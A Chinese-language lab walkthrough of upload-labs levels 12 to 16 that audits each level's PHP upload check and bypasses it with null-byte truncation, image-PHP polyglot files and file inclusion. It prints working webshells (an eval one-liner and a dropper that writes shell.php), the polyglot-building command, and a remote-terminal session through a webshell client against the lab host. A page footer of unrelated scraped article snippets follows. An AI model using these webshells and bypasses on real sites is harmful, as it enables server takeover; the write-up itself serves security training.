文件上传 upload-labs Pass 12-16
Pass12 GET00%截断
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
// 定义一个允许上传文件的数组
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
// 获取上传文件后缀名
if(in_array($file_ext,$ext_arr)){
// in_array会判断上传文件后缀名是否在ext_arr数组中,如果存在,则继续执行
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
// 通过GET请求方法获取 save_path 保存的目录,这里可以使用 php00阶段
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
这次的代码升级了,和之前的不一样,这次是白名单
,只允许jpg|png|gif
后缀文件
这里可以通过 $_GET['save_path']
进行 00截断
文件上传
php00阶段
存在于php低于
5.3.4
的版本中
攻击者可以构造类似这样的语句
$_GET["filename"] ,通过抓包修改 filename=test.php%00.txt
php读取后缀名会重右往左读取,读取到我们的文件,首先读取到.txt
文件,遇到了%00
认为就结束了,不在往前读取代码就会认为我们上传的文件为.txt
文件,导致可绕过文件上传的上传、包含等检测
使用burpsuite
抓包进行文件上传,这里我们上传一个a.jpg
,内容为<?php phpinfo();?>
文件上传成功
Pass-13 POST00%截断
审计源码
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_POST['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传失败";
}
} else {
$msg = "只允许上传.jpg|.png|.gif类型文件!";
}
}
和上Pass-11
是一样的,不过是将$_GET['save_path']
改为了$_POST['save_path']
,将GET
传参改为了POST
需要注意的是,POST
传参会进行转义,所以我们的%00
需要在burpsuite Hex
十六进制模式添加00
进行修改
首先上传a.jpg
,文件内容为<?php phpinfo();?>
进入Hex
模式后,找到输入的love.php
内容
这在我们07
后方加入一个字节为00
上传成功,访问测试
Pass-14 图片木马
在Pass13里变为了上传图片码的任务,需要我们上传图片木马,然后进行文件包含php文件
那么这里就好玩了,我们可以上传一个一句话木马,或者上传一个需要我们访问生成木马的php文件,当然也可以后续上传大马
审计源码
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
使用javascript
获取了我们文件的前两个字节
来验证是否为图片
,这里我首先想到的是禁用javascript
,是不行的,因为php
会检查file_type
函数是否为noknown
这里我们还是老老实实的合成一个图片mua,首先准备一张图片和php文件放在同一目录,这里我的图片名为image.jpg
,木马为muma.php
,内容为<?php phpinfo();?>
在url
输入cmd
在当前目录进入命令行,执行命令copy image.jpg /b + muma.php /a target.jpg
会在当前目录生成一个target.jpg
使用记事本打开target.jpg
,Ctrl + F搜索php
找到我们合成图片木马的php代码位置
这里我们的图片木马生成成功,进行图片木马
上传测试
可以看到上传成功,使用文件包含测试,在upload-labs
靶机中自带文件包含页面
,在主目录的文件名为include.php
观察只需要通过GET方法传参file变量图片木马的目录
就可以进行文件包含
进行文件包含http://靶机地址/include.php?file=./upload/上传文件名
由于对图片马进行的文件名进行了一个名称的加固所以我需要获取上传到服务器的文件名,可以通过右键查看源代码看到
这里为8120220408164903.jpg
进行文件包含http://172.16.1.102/include.php?file=./upload/8120220408164903.jpg
这里我并没有包含成功,可能是图片的问题,后来换了一张图片测试成功
包含生成木马文件
我们也可以上传一个一句话木马<?php @eval($_POST[cmd]);?>
直接包含进行连接,也可以上传一个生成一句话木马的图片马
,当然也有各种姿势进入,可玩性很高
这里我们上传一个生成一句话木马的图片马
php代码内容为,
<?php fwrite(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);?>');?>
然后使用copy image.jpg /b + aaa.php /a create.jpg
进行图片马合成,生成create.jpg
将图片木马上传
进行文件包含http://172.16.1.101/upload-labs/include.php?file=upload/4920220409090629.jpg
这是会在靶机包含当前目录生成一个shell.php
文件,是我们的一句话木马,使用蚁剑
进行连接测试
右键空白区域 -> 添加输入
输入木马的地址和密码cmd
,点击测试连接 -> 连接成功
点击保存双击可以进入靶机shell.php
所在目录的文件结构,也可以对文件进行一些操作
右键 -> 虚拟终端进入靶机命令行 执行系统命令
这样就完成了
任务是jpg png gif
文件都要上传才算通过,jpg已经测试过了
png
png图片这里我遇到一个坑,合成木马和jpg
一样copy 图片.png/b+木马.php/a 生成图片木马.png
这里建议使用 画图工具
进行生成图片,然后再进行合成、上传、包含
gif
gif只需要在文件的头部添加GIF89
即可,然后将文件后缀名后缀名改为gif
Pass-15 getimagesize图片检查
审计源码
function isImage($filename){
$types = '.jpeg|.png|.gif';
if(file_exists($filename)){
$info = getimagesize($filename);
$ext = image_type_to_extension($info[2]);
if(stripos($types,$ext)>=0){
return $ext;
}else{
return false;
}
}else{
return false;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
和Pass-14
类似,也会检查图片的内容是否为图片,使用getimagesize()
函数获取
可以模拟看一下getimagesize()
函数检查的内容,模拟file.html
上传文件提交给file.php
file.html内容
<html>
<head></head>
<body></body>
<form enctype="multipart/form-data" action="file.php" method="POST">
Send this file: <input name="userfile" type="file" />
<input type="submit" value="Send File" />
</form>
</html>
file.php内容
<?php
$tmp_file = $_FILES['userfile']['tmp_name'];
$info = getimagesize($tmp_file);
print_r($info);
?>
模拟一个文件上传进行提交,会打印出getimagesize
获取到的信息
提交后查看file.php打印内容
分别获取了
Array (
[0] => 1152 // 文件宽像素
[1] => 648 // 文件高像素
[2] => 3 // 文件类型,常见的 1 = GIF,2 = JPG,3 = PNG
[3] => width="1152" height="648"
[bits] => 8 // 图像每种颜色二进制的位数
[mime] => image/png ) // 文件 mime 类型
所以,我们还算是可以通过合成图片木马进行绕过,和Pass-14完全一样的步骤,这里不在演示
Pass-16 exif_imagetype图片检查
审计源码
function isImage($filename){
//需要开启php_exif模块
$image_type = exif_imagetype($filename);
switch ($image_type) {
case IMAGETYPE_GIF:
return "gif";
break;
case IMAGETYPE_JPEG:
return "jpg";
break;
case IMAGETYPE_PNG:
return "png";
break;
default:
return false;
break;
}
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$res = isImage($temp_file);
if(!$res){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
通过观察源代码
需要开启php_exif
php模块,使用的是exif_imagetype
检查文件类型,与Pass14、15
类似
只需要合成图片木马即可绕过
文件上传 upload-labs Pass 12-16的更多相关文章
- vue ----element-ui 文件上传upload 组件 实现 及其后台
1.前台 action 不用改 :https://jsonplaceholder.typicode.com/posts/ getFile: 获取文件 data(){ return { file: {} ...
- 文件上传Upload 漏洞挖掘思路
1:尽可能多的找出网站存在的上传点2:尝试使用如上各种绕过方法3:尝试 geshell4:无法上传webshel的情况下: 尝试上传html等,或可造成存储XSS漏洞 上传点构造XSS等,结合上传后的 ...
- 文件上传Upload 学习笔记
整理完自己还有点晕,看来还是得找点靶场自己练习练习Orz 1:客户端JavaScript校验 Burp改包即可 2:服务端对Content-Type进行校验 猜测后,修改对应Content-Type字 ...
- Openresty + nginx-upload-module支持文件上传
0. 说明 这种方式其实复杂,麻烦!建议通过这个方式搭建Openresty文件上传和下载服务器:http://www.cnblogs.com/lujiango/p/9056680.html 1. 包下 ...
- restapi(1)- 文件上传下载服务
上次对restapi开了个头,设计了一个包括了身份验证和使用权限的restful服务开发框架.这是一个通用框架,开发人员只要直接往里面加新功能就行了.虽然这次的restapi是围绕着数据库表的CRUD ...
- Struts2 单个文件上传/多文件上传
1导入struts2-blank.war所有jar包:\struts-2.3.4\apps\struts2-blank.war 单个文件上传 upload.jsp <s:form action= ...
- Javascript Fromdata 与jQuery 实现Ajax文件上传以及文件的删除
前端HTML代码: <!DOCTYPE html> <html> <head> <title>ajax</title> <script ...
- Django之Ajax文件上传
请求头ContentType ContentType指的是请求体的编码类型,常见的类型共有3种: 1 application/x-www-form-urlencoded(看下图) 这应该是最常见的 P ...
- SpringBoot2 上传文件 上传多文件
项目结构: 1.单文件上传 upload.html <!DOCTYPE html> <html lang="en"> <head> <me ...
- 功能强大的文件上传插件带上传进度-WebUploader
WebUploader是由Baidu WebFE(FEX)团队开发的一个以HTML5/FLASH构建的现代文件上传组件.在现代的浏览器里面能充分发挥HTML5的优势,同时又不摒弃主流IE浏览器,沿用老 ...
随机推荐
- jquery 页面追加换行等等操作备份
var str= "a<br/>b<br/>c<br/>"; var Newstr = str.replace("<br/> ...
- 实验: spring-boot 整合 fluent-mybatis 实验过程!!!!
1.参考: 简单整合,会报错误 https://segmentfault.com/a/1190000040467885?utm_source=sf-similar-article 利用maven编译, ...
- labwindows/cvi activex 控件无法正常使用问题解决
在进行labwindows/cvi编程时,想使用时间控件,需要在界面上点击右键的activex选项中选择Microsoft Data and Time picker control6.0(SP4).如 ...
- python实现学生信息管理系统——界面版
前言(写于2022年5月17日) 这篇博客是我两年前大二时写的,一直放在草稿箱里,还没写完,现在快毕业了,突然翻出来了.虽然博客没写完,但早就写好了代码,可运行的exe文件以及文档.现在上传到gite ...
- AX2012 循环读取DataSource的记录
static void LoopFormDataSource(Args _args) { FormDataSource formDataSource; SalesLine salesLineSel, ...
- 2.21(html)
- PyCharm 关闭代码风格检查
在使用PyCharm的时候,有时候,前后得空格,不然就会出现波浪线,比较烦人 关闭代码风格检查地方是:File-Settings-Editor-Inspactions-Python-PEP8 codi ...
- linux一些指令
一. 文件操作命令 查看当前目录下的文件或文件夹 详细查看ls –l 每列代表不同的意义: 第一列drwxr-xr-x 表示权限, n 其中第一个字符d表示 目录(可能有b-块 ...
- javascript数据类型,定义方法,(工厂模式及闭包的应用)
js数据类型分为两大类:一 值类型 二 引用类型 一 值类型 string number boolean null ...
- P3512 [POI2010]PIL-Pilots 单调队列的应用
题目描述 给定n,k和一个长度为n的序列,求最长的最大值最小值相差不超过k的序列 输入格式 第一行两个有空格隔开的整数k(0<=k<=2000,000,000),n(1<=n< ...